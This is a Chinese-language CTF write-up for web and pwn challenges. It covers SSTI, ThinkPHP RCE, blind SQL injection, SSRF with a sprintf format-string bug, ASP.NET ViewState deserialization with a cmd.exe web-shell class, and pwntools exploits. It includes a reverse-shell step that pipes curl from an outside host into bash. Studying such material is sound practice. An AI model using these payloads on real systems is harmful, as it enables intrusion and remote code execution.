WEB fake google 在注释里看就是SSTI。
不会SSTI,直接在网上找payload打下。
1 {{().__class__.__bases__[0 ].__subclasses__()[177 ].__init__.__globals__.__builtins__['open' ]('/flag' ).read()}}
old-hack 主页的黑页提示了是thinkphp5,又整出一个报错页面看到具体版本是5.0.23。
发现有REC漏洞,直接用payload打下。
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
duangShell 提示有源码泄露,下载下来用vim恢复。看到读文件的命令只过滤了cat。
当时做题的时候直接less /flag
OOB(Out of Band)就输出flag了,写writeup复现时候看到这个。。。
只好老老实实的反弹shell,想着用base32或者hex编码一下反弹shell的命令,但又没base32又没python,只好作罢。起一个linux靶机,python -m SimpleHTTPServer 8000
开个web服务,目录下放一句话bash反弹shell。用命令curl http://174.1.92.51:8000/shell.txt | bash
来反弹。
简单注入 在robots.txt里看见了hint.txt,给出了sql语句。
1 select * from users where username='$_POST["username"]' and password='$_POST["password"]';
众所周知,ctf比赛里叫easy的题目都不easy,不出所料肯定有过滤。先把关键字扔进burpsuite里跑一跑。
过滤了关键字若干,其中单引号也过滤了,但没过滤反斜杠。用剩下来的关键字构造一个变种万能密码。
登录成功只出来一句话,并没有flag,因为前面看到过滤了union
、select
等关键字,考虑不能跨表查询了,flag可能就是登录密码。下面直接上盲注脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport urllibimport timestart_time = time.time() def words_len (url) : values={} for i in range(1 ,100 ): data = {'username' :'p3rh4p\\' ,'password' :'||length(password)>%s#' %i} geturl = url response = requests.post(geturl,data) if response.content.find('You konw' )>0 : return i def words (url) : payloads = '!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~' words= '' aa = words_len(url) print aa for i in range(1 , aa+1 ): for payload in payloads: data = {'username' :'p3rh4p\\' ,'password' :'||ascii(substring(password,%s,1))>%s #' %(i,ord(payload))} geturl = url response = requests.post(geturl,data) if response.content.find('You konw' )>0 : words += payload print words break return words if __name__ == '__main__' : url='http://827d094a-2833-4bfb-93a2-fb30e06a04f5.node3.buuoj.cn/check.php' result=words(url) print "The current database:" +result
跑出来的是密码,用密码登录获得flag。
假猪套天下第一 卡在http代理那一步,Google找了很久都没找到是什么头。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 GET /L0g1n.php HTTP/1.1Host : node3.buuoj.cn:26931User-Agent : Mozilla/5.0 (Commodore 64; Commodo 64; Commodo 64; rv:56.0) Gecko/20100101 Firefox/56.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding : gzip, deflateReferer : gem-love.comSender : [email protected] From : [email protected] To : [email protected] Return-Path : [email protected] Downgraded-From : [email protected] Proxy : 203.107.43.165Proxy-Connection : keep-aliveProxy-Connection : 203.107.43.165Proxy-Authenticate : 203.107.43.165Proxy-Authorization : 203.107.43.165Forwarded : for=203.107.43.165;proto=http;by=203.107.43.165X-Forwarded-Host : 203.107.43.165Http-Proxy : 203.107.43.165X-Forwarded-Proto : httpCookie : _ga=GA1.2.580799202.1584770711; _gid=GA1.2.332844867.1584770711; PHPSESSID=rtmk7m1cg7q3jne0ir65hsnva0; time=9584803982; __vgl=1X-Forwarded-For : 203.107.43.165, 203.107.43.165, 203.107.43.165, 203.107.43.165Client-IP : 127.0.0.1X-Http-Forwarded-For : 203.107.43.165X-Requested-With : 203.107.43.165X-Remote-IP : 203.107.43.165X-Originating-IP : 203.107.43.165X-Remote-Addr : 203.107.43.165WL-Proxy-Client-IP : 203.107.43.165Remote-Addr : 203.107.43.165DNT : 1Connection : closeUpgrade-Insecure-Requests : 1Cache-Control : max-age=0
最后看别人writeup是Via
Schrödinger 这题没意思,搞得花里胡哨的,结果就在cookie里放个base64的时间,把时间改成负的就出来个av号,去批站相关视频下找flag。。就不放过程了
xss之光 扫目录发现了.git目录(扫的时候要线程要调小一点,不然会被平台ban掉)。githack类工具推荐用Git_Extract ,其他工具扫不出来的,用这个都能扫到,甚至历史版本也能扫出来。
序列化xss的payload就能搞个反射型xss,猜测后端有个bot能被你打cookie。
于是在xss平台准备链接,插进去准备打cookie,日后发现打了个寂寞,只打到了自己的cookie,但是在自己的cookie里发现了flag,真是神奇。
文件探测 这题在比赛的时候没做出来,结束后试着复现下。
在主页的Responce里有个hint:home.php,明显是php伪协议的任意文件读取。
读下来home.php和system.php的源码。
home.php里没什么东西,就只能读这两个源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php setcookie("y1ng" , sha1(md5('y1ng' )), time() + 3600 ); setcookie('your_ip_address' , md5($_SERVER['REMOTE_ADDR' ]), time()+3600 ); if (isset ($_GET['file' ])){ if (preg_match("/\^|\~|&|\|/" , $_GET['file' ])) { die ("forbidden" ); } if (preg_match("/.?f.?l.?a.?g.?/i" , $_GET['file' ])){ die ("not now!" ); } if (preg_match("/.?a.?d.?m.?i.?n.?/i" , $_GET['file' ])){ die ("You! are! not! my! admin!" ); } if (preg_match("/^home$/i" , $_GET['file' ])){ die ("禁止套娃" ); } else { if (preg_match("/home$/i" , $_GET['file' ]) or preg_match("/system$/i" , $_GET['file' ])){ $file = $_GET['file' ].".php" ; } else { $file = $_GET['file' ].".fxxkyou!" ; } echo "现在访问的是 " .$file . "<br>" ; require $file; } } else { echo "<script>location.href='./home.php?file=system'</script>" ; }
home.php里有个文件读取,但限死了只能读127.0.0.1的文件,干脆ssrf访问下admin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting(0 ); if (!isset ($_COOKIE['y1ng' ]) || $_COOKIE['y1ng' ] !== sha1(md5('y1ng' ))){ echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>" ; header("Refresh:0.1;url=index.php" ); die ; } $str2 = ' Error: url invalid<br>~$ ' ; $str3 = ' Error: damn hacker!<br>~$ ' ; $str4 = ' Error: request method error<br>~$ ' ; ?> ... ... <?php $filter1 = '/^http:\/\/127\.0\.0\.1\//i' ; $filter2 = '/.?f.?l.?a.?g.?/i' ; if (isset ($_POST['q1' ]) && isset ($_POST['q2' ]) && isset ($_POST['q3' ]) ) { $url = $_POST['q2' ].".y1ng.txt" ; $method = $_POST['q3' ]; $str1 = "~$ python fuck.py -u \"" .$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>" ; echo $str1; if (!preg_match($filter1, $url) ){ die ($str2); } if (preg_match($filter2, $url)) { die ($str3); } if (!preg_match('/^GET/i' , $method) && !preg_match('/^POST/i' , $method)) { die ($str4); } $detect = @file_get_contents($url, false ); print (sprintf("$url method&content_size:$method%d" , $detect)); } ?>
post一下q1=1&q2=http://127.0.0.1/admin.php?&q3=GET
发现不行,去群里偷看下师傅们的聊天记录,发现还有个格式字符串漏洞Orz。用q1=1&q2=http://127.0.0.1/admin.php?&q3=GET%1$s
在post一下,处出来一串admin.php的源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php error_reporting(0 ); session_start(); $f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}' ; function aesEn ($data, $key) { $method = 'AES-128-CBC' ; $iv = md5($_SERVER['REMOTE_ADDR' ],true ); return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv)); } function Check () { if (isset ($_COOKIE['your_ip_address' ]) && $_COOKIE['your_ip_address' ] === md5($_SERVER['REMOTE_ADDR' ]) && $_COOKIE['y1ng' ] === sha1(md5('y1ng' ))) return true ; else return false ; } if ( $_SERVER['REMOTE_ADDR' ] == "127.0.0.1" ) { highlight_file(__FILE__ ); } else { echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR' ]; } $_SESSION['user' ] = md5($_SERVER['REMOTE_ADDR' ]); if (isset ($_GET['decrypt' ])) { $decr = $_GET['decrypt' ]; if (Check()){ $data = $_SESSION['secret' ]; include 'flag_2sln2ndln2klnlksnf.php' ; $cipher = aesEn($data, 'y1ng' ); if ($decr === $cipher){ echo WHAT_YOU_WANT; } else { die ('爬' ); } } else { header("Refresh:0.1;url=index.php" ); } } else { mt_srand(rand(0 ,9999999 )); $length = mt_rand(40 ,80 ); $_SESSION['secret' ] = bin2hex(random_bytes($length)); } ?>
删掉cookie中的PHPSESSION明文就为空,密钥知道,vi也知道了,就能加密出密文。
EasyAspDotNet 这题在比赛时候也没做出来,根据hint找到了HITCON 2018的类似一道题目,根据cyku师傅的writeup 尝试powershell反弹shell并没有成功。等官方writeup出来的时候又是cyku师傅的又一篇文章 复现一下,cyku师傅太强了。
进去网页点下Click me!出来一张图片,F12看见应该是存在文件读取。
穿越了两个目录顺利读到了web.config
。
第二个hint的VIEWSTATE是使用asp.net控件就会有的东西,查阅资料得知VIEWSTATE配合machineKey
是能够RCE的。
下载ysoserial.exe ,把C:\Windows\Microsoft.NET\Framework64\v4.0.30319
目录下的System.dll
和System.Web.dll
复制过来,保存以下代码为ExploitClass.cs
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 class E { public E ( ) { System.Web.HttpContext context = System.Web.HttpContext.Current; context.Server.ClearError(); context.Response.Clear(); try { System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.FileName = "cmd.exe" ; string cmd = context.Request.Form["cmd" ]; process.StartInfo.Arguments = "/c " + cmd; process.StartInfo.RedirectStandardOutput = true ; process.StartInfo.RedirectStandardError = true ; process.StartInfo.UseShellExecute = false ; process.Start(); string output = process.StandardOutput.ReadToEnd(); context.Response.Write(output); } catch (System.Exception) {} context.Response.Flush(); context.Response.End(); } }
利用上面读web.config
获取到的machineKey
用ysoserial.exe 生成VIEWSTATE
。
1 ./ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" --generator="CA0B0334" -c --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9"
回到主页点下Click me!,将请求中的VIEWSTATE
换成ysoserial.exe生成的,再加个post参数cmd,值为cmd命令。
PWN one_gadget init
函数直接输出了printf
的地址,题目名字很直接,叫one_gadget
,又提供了libc
,直接one_gadget
一把梭。
1 2 3 4 5 6 int init () { setvbuf(_bss_start, 0L L, 2 , 0L L); setvbuf(stdin , 0L L, 1 , 0L L); return printf ("here is the gift for u:%p\n" , &printf ); }
main
函数这里值得注意的是:存在的漏洞不是栈溢出,而直接跳转到输入的内容处执行,所以我们输入的one_gadget
要转为整型再转为字符串。
1 2 3 4 5 6 7 8 9 10 11 int __cdecl main (int argc, const char **argv, const char **envp) { ... v6 = __readfsqword(0x28 u); init(); printf ("Give me your one gadget:" , argv); __isoc99_scanf("%ld" , &v4); v5 = v4; v4("%ld" , &v4); # vuln return 0 ; }
附上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from LibcSearcher import *from pwn import *context.log_level = 'DEBUG' context.binary = './one_gadget' if sys.argv[1 ] == 'l' : p = process('./one_gadget' ) libc = context.binary.libc else : p = remote('node3.buuoj.cn' ,26018 ) libc = ELF('./libc-2.29.so' ) elf = ELF('./one_gadget' ) p.recvuntil('u:' ) data = int(p.recv(14 ),16 ) base = data - libc.sym['printf' ] one_gadget = base + 0x106ef8 payload = str(int(one_gadget)) p.recvuntil('gadget:' ) p.sendline(payload) p.interactive()
r2t3 漏洞在name_check
函数里,参数s最多能输入到0x400
个字节,strcpy
到dest
里就会造成栈溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 char *__cdecl name_check (char *s) { char dest; unsigned __int8 v3; v3 = strlen (s); if ( v3 <= 3u || v3 > 8u ) { puts ("Oops,u name is too long!" ); exit (-1 ); } printf ("Hello,My dear %s" , s); return strcpy (&dest, s); }
但在strcpy
前对的长度进行限制,不过仔细看发现对跟v3
比较的数字类型都是unsigned int
型,在汇编里也能看见取eax
的低位跟3和8比较,所以只要令到s
的长度在0xx04
到0xx07
之间就能绕过了。
最后ret2text到预留的backdoor就行。附上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from LibcSearcher import *from pwn import *context.log_level = 'DEBUG' context.binary = './r2t3' if sys.argv[1 ] == 'l' : p = process('./r2t3' ) else : p = remote('node3.buuoj.cn' ,29906 ) elf = ELF('./r2t3' ) backdoor = elf.sym['_dl_registery' ] payload = flat(cyclic(21 ),backdoor,cyclic(235 )+'\x00' ) p.recvuntil('[+]Please input your name:' ) p.send(payload) p.interactive()
r2t4 这题开了canary
,但存在格式化字符串漏洞,carray
并没有什么卵用。
不过这里的格式化字符串没有循环,尝试覆写.fini_array
里函数的got
表,但没有成功。最后故意栈溢出,让程序调用___stack_chk_fail
,覆写___stack_chk_fail
的got
使得程序跳转到backdoor
。
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { char buf; unsigned __int64 v5; v5 = __readfsqword(0x28 u); read(0 , &buf, 0x38 uLL); printf (&buf, &buf); return 0 ; }
附上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from LibcSearcher import *from pwn import *context.log_level = 'DEBUG' context.binary = './r2t4' if sys.argv[1 ] == 'l' : p = process('./r2t4' ) else : p = remote('node3.buuoj.cn' ,28071 ) elf = ELF('./r2t4' ) addr = elf.got['__stack_chk_fail' ] backdoor = elf.sym['backdoor' ] def exec_fmt (payload) : p = process('./r2t4' ) p.sendline(payload) data = p.recvline() p.close() return data autofmt = FmtStr(exec_fmt) offset = autofmt.offset payload = fmtstr_payload(offset,{addr:backdoor}).ljust(0x38 ,'a' ) p.send(payload) p.interactive()
test 程序保护全开,好像没什么漏洞,尝试绕过过滤。找了很久发现od ????
可以,但是出来的是这些玩意,直接解码不行。想得头都穿了,差点要写脚本爆破了。
后来看了官方文档才知道,默认两个字节合起来转为八进制。用脚本解一下。
1 2 3 4 5 6 7 8 9 10 11 e = '066146 063541 063173 034461 030141 033470 026546 063067 030545 032055 030143 026471 061471 033471 034455 034470 032064 033544 032071 032467 076463 077412 046105 001106 000401 000000 000000 000000 000000 001000 037000 000400 000000 000000 040006 000000 000000 040000 000000 000000 000000 014000 000033 000000 000000 000000 000000 040000 034000 004400 040000 017400 016000 003000 000000 002400 000000 040000 000000 000000 000000 040000 040000 000000 000000 040000 040000 000000 000000 174000 000001 000000 000000 174000 000001 000000 000000 004000 000000 000000 000000 001400 000000 002000 000000 034000 000002 000000 000000 034000 040002 000000 000000 034000 040002 000000 000000 016000 000000 000000 000000 016000 000000 000000 000000 000400 000000 000000 000000 000400 000000 002400 000000 000000 000000 000000 000000 000000 040000 000000 000000 000000 040000 000000 000000 132000 000013 000000 000000 132000 000013 000000 000000 000000 020000 000000 000000 000400 000000 003000 000000 010000 000016 000000 000000 010000 060016 000000 000000 010000 060016 000000 000000 054000 000002 000000 000000 060000 000002 000000 000000 000000 020000 000000 000000 001000 000000 003000 000000 024000 000016 000000 000000 024000 060016 000000 000000 024000 060016 000000 000000 150000 000001 000000 000000 150000 000001 000000 000000 004000 000000 000000 000000 002000 000000 002000 000000 052000 000002 000000 000000 052000 040002 000000 000000 052000 040002 000000 000000 042000 000000 000000 000000 042000 000000 000000 000000 002000 000000 000000 000000 050000 072345 002144 000000 104000 000012 000000 000000 104000 040012 000000 000000 104000 040012 000000 000000 032000 000000 000000 000000 032000 000000 000000 000000 002000 000000 000000 000000 050400 072345 003144 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000' e = e.split(' ' ) ans = '' for o in e: ans += hex(int(o,8 ))[2 :][2 :] ans += hex(int(o,8 ))[2 :][:2 ] ans = ans.split('0a' )[0 ] print(ans.decode('hex' ))
diff gdb退了几次再进去看到diff里文件二的栈地址都是一样的,我鬼使神差的以为他栈地址是不变的,gdb里能getshell,命令行里执行就不行。。有没有师傅知道是为什么。。
被搞晕了,没注意到文件一的内容直接写进bss,可以通过这个getshell,看了别的师傅的writeup才知道,太粗心了。
漏洞处在compare
函数里,addr也就是文件二读取没有限制长度,超过0x78字节就会溢出,而buf1是读到bss里的,有因为没有开NX,可以直接控制程序跳到buf1处执行shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl compare (int a1, int fd) { char v2; int v4; unsigned int i; char addr[120 ]; v4 = 0 ; JUMPOUT(sys_read(fd, buf1, 0x80 u), 0 , &failed); JUMPOUT(sys_read(a1, addr, 0x80 u), 0 , &failed); for ( i = 0 ; addr[i] + buf1[i] && i < 0x400 ; ++i ) { v2 = buf1[i]; if ( v2 != addr[i] ) return v4 + 1 ; if ( v2 == 10 ) ++v4; } return 0 ; }
附上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *import base64buf = 0x0804A024 shellcode = asm(shellcraft.sh()) payload = flat(cyclic(124 ),buf) context.log_level = 'DEBUG' context.binary = './diff' if sys.argv[1 ] == 'l' : p = process(argv=['diff' ,'/tmp/123' ,'/tmp/456' ],executable='./diff' ) f1 = open('/tmp/123' ,'wb' ) f2 = open('/tmp/456' ,'wb' ) f1.write(shellcode) f2.write(payload) f1.close() f2.close() else : pwn_ssh = ssh(host='node3.buuoj.cn' ,user='ctf' ,password='guest' ,port=26462 ) p = pwn_ssh.process('/bin/bash' ) p.sendline('echo {} | base64 -d > /tmp/123;echo {} | base64 -d > /tmp/456' .format(base64.b64encode(shellcode),base64.b64encode(payload))) p.close() p = pwn_ssh.process(argv=['diff' ,'/tmp/123' ,'/tmp/456' ],executable='./diff' ) elf = ELF('./diff' ) p.interactive()